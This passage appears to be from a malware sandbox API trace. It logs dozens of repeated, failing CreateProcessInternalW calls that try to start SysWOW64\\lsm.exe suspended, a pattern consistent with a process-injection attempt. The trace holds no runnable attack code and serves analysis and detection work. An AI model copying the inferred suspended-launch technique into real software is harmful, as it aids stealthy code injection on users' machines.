dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.346] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.347] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.348] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.349] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, 